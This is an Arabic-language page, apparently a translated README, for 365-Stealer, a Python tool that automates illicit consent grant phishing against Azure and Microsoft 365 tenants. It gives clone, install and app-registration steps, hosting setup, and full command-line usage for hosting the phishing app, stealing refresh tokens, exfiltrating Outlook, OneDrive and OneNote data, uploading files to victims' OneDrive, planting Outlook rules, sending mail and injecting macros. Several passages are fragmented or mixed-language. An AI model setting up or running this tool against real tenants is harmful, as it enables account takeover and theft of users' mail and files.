
أتمتة هجمات منح الموافقة غير المشروعة ضد مستأجري Azure/O365 لسرقة رموز التحديث، واستخراج البريد الإلكتروني/بيانات OneDrive، وإنشاء قواعد Outlook ضارة عبر CLI وبوابة إدارة ويب.
365-Stealer هو أداة مبنية على Python3 مصممة لأتمتة هجمات منح الموافقة غير المشروعة. عندما يمنح المستخدم الهدف الإذن unknowingly لتطبيق المهاجم، يكتسب المهاجم حق الوصول إلى رمز التحديث الخاص بالضحية. يمكن استخدام رمز التحديث هذا بعد ذلك لإنشاء رموز أخرى، مما يسمح للمهاجم بالوصول إلى البيانات الحساسة مثل رسائل البريد الإلكتروني والملفات على OneDrive والملاحظات - دون الحاجة إلى مزيد من المدخلات من الضحية. يمكن أن يستغرق استغلال هذا يدويًا وقتًا طويلاً، ولكن 365-Stealer يبسط العملية ويؤتمتها.
يحدث هجوم منح الموافقة غير المشروعة عندما يسجل المهاجم تطبيقًا ضارًا داخل Azure، طالبًا الوصول إلى بيانات حساسة مثل جهات الاتصال أو رسائل البريد الإلكتروني أو المستندات. يخدع المهاجم المستخدم ليوافق على التطبيق، عادةً من خلال تقديمه كشيء شرعي. بمجرد أن ينقر الضحية على "قبول"، يوفر unknowingly الوصول للمهاجم، مما يسمح له بالتصرف نيابة عن الضحية دون الحاجة إلى بيانات اعتماد الضحية التنظيمية.
لشرح ذلك بشكل أوضح، بمجرد منح المستخدم الإذن، يرسل Entra ID رمزًا مميزًا إلى خادم المهاجم. يمنح هذا الرمز المهاجم القدرة على قراءة رسائل البريد الإلكتروني وإرسالها والوصول إلى الملفات على OneDrive وتنفيذ أنشطة ضارة أخرى باستخدام بيانات اعتماد الضحية. على عكس هجمات التصيد التي تعتمد على سرقة كلمات المرور، تتجاوز هجمات منح الموافقة غير المشروعة المصادقة تمامًا عن طريق إساءة استخدام نظام الأذونات للتطبيقات السحابية.
--run-app في الطرفية أو من خلال بوابة إدارة 365-Stealer.--no-stealing، يمكن للأداة سرقة الرموز فقط دون إجراءات أخرى، مما يسمح للمهاجمين باستغلالها لاحقًا.--refresh-token و --client-id و ، يمكن للمهاجمين الحصول بسهولة على رموز وصول جديدة.لتسجيل تطبيق تلقائيًا في Azure باستخدام برنامج Python النصي المقدم، اتبع الخطوات التالية:
تأكد من تثبيت Python3 على جهازك.
استنساخ مستودع 365-Stealer:
git clone https://github.com/AlteredSecurity/365-Stealer.git
cd 365-Stealer
تثبيت وحدات Python المطلوبة:
pip install -r requirements.txt
تشغيل برنامج تسجيل تطبيق Azure التلقائي:
python 365-Stealer.py --app-registration
إذا كنت تفضل تسجيل تطبيق Azure يدويًا، فاتبع هذه الخطوات:
https://portal.azure.com وقم بتسجيل الدخول إلى حسابك.App registrations في القائمة اليسرى.New registration لبدء عملية تسجيل تطبيق جديد.Accounts in any organizational directory (Any Microsoft Entra ID tenant - Multitenant).https://<DOMAIN/IP>:<PORT>/login/authorized، حيث يتوافق النطاق أو عنوان IP مع المكان الذي ستستضيف فيه تطبيق 365-Stealer.Register لإنشاء التطبيق.
Certificates & secrets ضمن تطبيقك المسجل.New client secret، وقدم وصفًا للسر، ثم انقر على Add.
API permissions ضمن تطبيقك.Add a permission لبدء اختيار الأذونات اللازمة.Microsoft Graph.Delegated permissions لتعيين أذونات تعمل نيابة عن المستخدم المسجل الدخول.
استنساخ مستودع 365-Stealer:
git clone https://github.com/AlteredSecurity/365-Stealer.git
تثبيت التطبيقات المطلوبة:
استخراج وحفظ الملفات:
C:\xampp\htdocs\ الذي يسمح لك باستضافة تطبيق PHP وتشغيل Python.تثبيت تبعيات Python: قم بتشغيل الأمر التالي لتثبيت مكتبات Python اللازمة.
cd C:\xampp\htdocs\365-Stealer
pip install -r requirements.txt
اتبع تعليمات الإعداد الإضافية: بعد تثبيت التطبيقات والتبعيات المطلوبة، تأكد من اتباع التعليمات الواردة في ملف yoursVictims/Readme.md. سيرشدك هذا خلال إعداد قواعد البيانات والجداول اللازمة لكي يعمل 365-Stealer بشكل صحيح.
ضبط مسارات البرامج النصية:
365-Stealer.py وقاعدة البيانات و python3 في ملف index.php الموجود في C:/xampp/htdocs/yourvictims/.
التعامل مع المسافات في مسارات الملفات:
"C:/Program Files/Python/python.exe"
القائمة البيضاء الافتراضية:
إضافة عناوين IP عن بعد:
تعطيل القائمة البيضاء لعناوين IP:
$enableIpWhiteList = false; في ملف التكوين.
قيود الوصول: لأسباب أمنية، قم دائمًا بتقييد الوصول إلى بوابة إدارة 365-Stealer على البنية التحتية التي تتحكم فيها.
تجنب التعرض العام: لا تعرض بوابة إدارة 365-Stealer مباشرة للإنترنت. تأكد من أنها قابلة للوصول فقط من خلال الشبكات الخاصة الآمنة لتجنب الاختراق المحتمل.
usage: 365-Stealer.py [-h] [--app-registration] [--set-config] [--get-config] [--code CODE] [--token TOKEN] [--client-id CLIENT_ID]
[--client-secret CLIENT_SECRET] [--refresh-token REFRESH_TOKEN] [--token-path TOKEN_PATH]
[--refresh-all] [--refresh-user REFRESH_USER] [--redirect-url REDIRECT_URL]
[--database-path DATABASE_PATH] [--no-stealing] [--upload UPLOAD] [--create-rules CREATE_RULES]
[--send-mail SEND_MAIL] [--delete-all-data] [--delete-user-data DELETE_USER_DATA] [--run-app]
[--no-ssl] [--port PORT] [--disable-logs]
[--injection]
[--custom-steal {listusers,checklicence,outlook,onedrive,onenote} [{listusers,checklicence,outlook,onedrive,onenote} ...]]
[--delay DELAY]
optional arguments:
-h, --help show this help message and exit
--app-registration Azure App Registration
--set-config Set 365-Stealer Configuration
--get-config Get 365-Stealer Configuration
--code CODE Provide Authorization Code
--token TOKEN Provide Access Token
--client-id CLIENT_ID
Provide Application Client ID
--client-secret CLIENT_SECRET
Provide Application Client Secret
--refresh-token REFRESH_TOKEN
Provide Refresh Token
--token-path TOKEN_PATH
Provide Access Token file path
--refresh-all Steal all user's data again.
--refresh-user REFRESH_USER
Steal particular user's data again.(Provide EmailID)
--redirect-url REDIRECT_URL
Redirect Url
--database-path DATABASE_PATH
Provide Database Path
--no-stealing Steal only Tokens
--upload UPLOAD Add files in victim's OneDrive(Provide File Path)
--create-rules CREATE_RULES
Provide json file containing outlook rules
--send-mail SEND_MAIL
Provide json file to send email
--delete-all-data Delete all data from the database!
--delete-user-data DELETE_USER_DATA
Delete specific user data from the database!
--run-app Host the Phising App
--no-ssl Use http(port 80)
--port PORT Provide custom port to Host the Phishing App
--disable-logs Disable all http access logs
--custom-steal {listusers,checklicence,outlook,onedrive,onenote} [{listusers,checklicence,outlook,onedrive,onenote} ...]
Steal specific data
--injection Enable Macro Injection
--delay DELAY Delay the request by specifying time in seconds while stealing
منشور مدونة حول الإصدار الجديد من 365-Stealer، وهو إعادة كتابة شاملة للإصدار القديم. يستكشف هذا المنشور كيفية عمل هجوم منح الموافقة غير المشروعة (ICG) في Microsoft 365.
منشور المدونة القديم - مقدمة إلى 365-Stealer
يرجى رفع مشكلة إذا واجهت خطأ أو كان لديك طلب ميزة.
إذا كنت ترغب في المساهمة في مشروع وجعله أفضل، فإن مساعدتك مرحب بها جدًا.
--client-secret--app-registration بأتمتة عملية تسجيل تطبيق Azure، مما يسهل إعداد البنية التحتية للهجوم دون تدخل يدوي.--custom-steal، يمكن للمهاجمين سرقة البيانات من مصادر محددة مثل OneDrive و Outlook وما إلى ذلك.